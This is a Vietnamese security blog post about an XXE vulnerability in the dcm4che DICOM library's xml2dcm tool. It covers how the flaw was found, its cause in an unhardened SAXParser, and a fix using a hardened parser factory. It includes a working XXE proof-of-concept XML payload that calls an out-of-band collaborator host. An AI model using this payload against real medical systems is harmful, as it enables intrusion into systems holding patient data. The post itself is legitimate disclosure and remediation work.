Lỗ hổng XXE trong thư viện Dcm4che: Thư viện xử lý DICOM trong lĩnh vực y tế
Bài viết sẽ trình bày cách mà mình tìm ra lỗi, nguyên nhân, kĩ thuật khai thác cũng như cách khắc phục lỗi XXE trong thư viện này.

I. Giới thiệu về DICOM
DICOM (Digital Imaging and Communications in Medicine) là một chuẩn quốc tế được sử dụng rộng rãi trong ngành y tế để lưu trữ, truyền tải và xử lý hình ảnh y khoa như X-Quang, MRI, CT scan, siêu âm,… Chuẩn này còn định nghĩa giao thức truyền thông giữa các thiêt bị y tế như máy chụp ảnh và hệ thống PACS
DICOM sử dụng định dạng file .dcm là một file binary nên không thể mở và đọc trực tiếp được. Điều này gây khó khăn cho việc kiểm tra, xử lý hoặc lữu trữ dữ liệu trong các hệ thống có sự can thiệp của con người.
Để giải quyết vấn đề này, các thư viện xử lý DICOM như Dcm4che, Pydicom thường được hỗ trợ chứ năng parse file DICOM sang các định dạng dễ đọc hơn như XML, JSON. Những định dạng này giúp cho lập trình viên dễ dàng truy xuất và kiểm tra nội dung và thuận tiện trong việc tích hợp vào các hệ thống phần mềm khác như PACS, EMR/EHR, hoặc nền tảng phân tích dữ liệu y tế
II. Bối cảnh tìm ra lỗ hổng:
Như đã nói ở phần giới thiệu DICOM phía trên, các hệ thống thường tích hợp các thư viện parser vào hệ thống y tế của họ. Vì thế việc tìm ra lỗ hổng trong các thư viện này sẽ mang đến một giá trị rất lớn.
Mình bắt đầu bằng việc tìm kiếm lỗ hổng trong các thư viện OpenSource có trên Github như Pydicom, Dcm4che, …. Sử dụng Semgrep để scan mã nguồn nhắm vào việc sử dụng các hàm không an toàn, misconfig, …
Semgrep App Security Platform | AI-assisted SAST, SCA and Secrets Detection
Dcm4che là một bộ thư viện mã nguồn mở được viết bằng Java, chuyên dùng để xử lý các tệp DICOM trong các hệ thống y tế. Thư viện này hỗ trợ nhiều chức năng quan trọng như đọc/ghi tệp DICOM, chuyển đổi định dạng (ví dụ: DICOM ↔ XML), giao tiếp với PACS thông qua các dịch vụ DICOM network (C-FIND, C-STORE, C-MOVE…), và tích hợp vào các hệ thống xử lý hình ảnh y tế.

Khi scan thư viện này mình đã có những findings tiềm năng hơn và mình sẽ đi vào chi tiết ở phần sau:
III. Phân tích và tái hiện lỗ hổng
1. Phát hiện và phân tích findings
Sau khi sử dụng Semgrep để scan source code thì đã có rất nhiều findings. Tuy nhiên mình chỉ để ý một finding duy nhất chính là lỗi XXE
Thư viện này sử dụng XML Parser không an toàn của Java là SAXParser.
Theo đó thư viện này xử lý cả các file XML có Doctype từ đó có thể dẫn đến lỗ hổng XXE.
Quan trọng hơn hết là các hàm này sử dụng data input từ người dùng là một file XML chứa payload XXE. Vì thế mình tiếp tục tìm kiếm và đi sâu vào logic code hơn.
Khi đọc kĩ hơn về các tool được tích hợp trong Dcm4che, mình phát hiện ra có một tool là xml2dcm ở đó người dùng cung cấp một file DICOM được biểu diễn dưới dạng XML (.xml) và công cụ sẽ parse nó thành một file .dcm.

Đi vào từng dòng code của tool này. Mình phát hiện được tool này sử dụng SAXparser cho việc parse XML.

Ở dòng 377 và 378 một SAXParser được tạo mới nhưng không có bất kỳ cơ chế bảo vệ nào
Từ đó người dùng có thể cung cấp một file XML độc hại để khai thác XXE.
Điều này xảy ra tương tự với Tool xml2HL7

Từ đây mình sẽ build Tool lên và khai thác.
2. PoC khai thác lỗ hổng
Đầu tiên build Tool Dcm4che ở Local:
sudo apt install openjdk-11-jdk maven
git clone <https://github.com/dcm4che/dcm4che.git>
cd dcm4che
mvn clean install -DskipTests
Xây dựng payload XML hợp lệ:
<?xml version="1.0"?>
<!DOCTYPE NativeDicomModel [
<!ENTITY xxe SYSTEM "<http://vwv3dv49z2lzndaqppjxriduclic62ur.oastify.com>">
]>
<NativeDicomModel>
<DicomAttribute tag="00100010" vr="PN" keyword="PatientName">
<PersonName number="1">
<Alphabetic>&xxe;</Alphabetic>
</PersonName>
</DicomAttribute>
</NativeDicomModel>
Payload này sẽ có thêm tag DicomAttribute bao gồm các header và thông tin cần có của một file DICOM. Nếu không có phần này sẽ không bypass được phần kiểm tra đầu vào của Tool xml2dicom
Do mình sẽ ko nhận được output của payload nên mình đã cho nó call ra Burp Collaborator để có thể POC lỗi
Dưới đây là Video PoC
https://drive.google.com/file/d/1axTVjkeuX0wZt3C2qC0DacEeUEPTiERi/view?usp=drive_link
IV. Báo cáo lỗ hổng
Khi tìm được lỗ hổng và PoC được thành công mình đã rất vui mừng 😀 Tưởng đây sẽ là CVE đầu tiên của mình mà quên mất lướt xem phần Issues của repo trên Github. Khi check xong thì thấy lỗ hổng này đã được report từ năm 2022 và Dev họ không fix 😔

Đường dẫn: https://github.com/dcm4che/dcm4che/issues/1181
V. Cách khắc phục lỗi XXE trong thư viện Dcm4che
Hiện tại dcm4che chưa phát hành bản vá chính thức cho lỗ hổng XXE, vì vậy bạn phải tự áp dụng biện pháp giảm thiểu trước khi đưa vào bất kì dự án nào. Cốt lõi của vấn đề nằm ở cách SAXParserFactory được khởi tạo mặc định – nó cho phép load các thực thể bên ngoài (External Entities).
Bạn có thể triển khai một trong hai cách dưới đây
- Đơn giản nhất là tắt những feature này mỗi khi gọi hàm
SAXParserFactorycấu thành nên lỗ hổng XXE:
// Vô hiệu hóa thực thể tổng quát ngoài, tránh XXE.
setFeature("<http://xml.org/sax/features/external-general-entities>", false);
// Vô hiệu hóa thực thể tham số ngoài DTD, tránh các tấn công lồng nhau.
setFeature("<http://xml.org/sax/features/external-parameter-entities>", false);
// Ngăn parser tải DTD bên ngoài, tránh tấn công DoS.
setFeature("<http://apache.org/xml/features/nonvalidating/load-external-dtd>", false);
- Hoặc để phòng trường hợp cấu hình thiếu ở nhiều endpoint khác, hãy gói gọn logic trên trong một utility class cung cấp
SAXParserFactoryan toàn cho toàn bộ dự án và sau này khi có thêm tính năng mới cho công cụ XML này thì có thể triển khai một cách an toàn và nhanh chóng nhờ vào Utility class có sẵn này
Đoạn code triển khai cho class SecureSAXParserFactory
package org.dcm4che3.util;
import javax.xml.parsers.SAXParserFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.xml.sax.SAXNotRecognizedException;
import org.xml.sax.SAXNotSupportedException;
import javax.xml.parsers.ParserConfigurationException;
public final class SecureSAXParserFactory {
private static final SAXParserFactory f;
static {
f = SAXParserFactory.newInstance();
try {
f.setNamespaceAware(true);
f.setValidating(false);
f.setFeature("<http://xml.org/sax/features/external-general-entities>", false);
f.setFeature("<http://xml.org/sax/features/external-parameter-entities>", false);
f.setFeature("<http://apache.org/xml/features/nonvalidating/load-external-dtd>", false);
f.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException | SAXNotRecognizedException | SAXNotSupportedException e) {
throw new RuntimeException("Failed to configure SAXParserFactory securely", e);
}
}
public static SAXParserFactory getInstance() {
return f;
}
}
Đoạn Xml2dcm cũng được sửa để sử dụng SecureSAXParserFactory
import org.dcm4che3.util.SecureSAXParserFactory;
//....
private static void parseXML(String fname, ContentHandlerAdapter ch)
throws SAXException, IOException, ParserConfigurationException{
SAXParser p = SecureSAXParserFactory.getInstance().newSAXParser(); // sử dụng class SecureSAXParserFactory đã được cấu hình an toàn
if (fname.equals("-")) {
p.parse(System.in, ch);
} else {
p.parse(new File(fname), ch);
}
}
Tương tự với các endpoint khác import thêm util SecureSAXPeraserFactory và triển khai đoạn code để gọi SAXParserFactory an toàn để xử lý các file XML
VI. Lời kết
Trong quá trình tìm kiếm lỗ hổng bảo mật trong các thư viện mã nguồn mở dùng để xử lý các file DICOM, HL7. Mình nhận thấy rằng các lỗ hổng thường tập trung ở việc parse các file XML. Việc parser không cấu hình đúng hoặc sử dụng mặc định từ các thư viện như SAXSParser có thể mở ra nhiều nguy cơ tấn công như XXE,.. Bài học rút ra là: đừng bao giờ tin tưởng vào parser mặc định. Dù là Java, Python hay bất kỳ nền tảng nào, các thư viện parser đều cần được cấu hình thủ công để vô hiệu hóa các tính năng nguy hiểm — như external entities, DTD loading, hoặc recursive expansion. Và nếu có thể, hãy đóng gói các cấu hình bảo mật vào một nơi tập trung (như một factory hoặc helper class), giúp bảo trì dễ hơn và tránh sai sót.




![[ZVE-2025-3566] Stored XSS to RCE in Manage Engine OpManager](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1753930975579%2Fb835c2ae-2b5b-425e-9210-09bb506d46c1.png&w=3840&q=75)
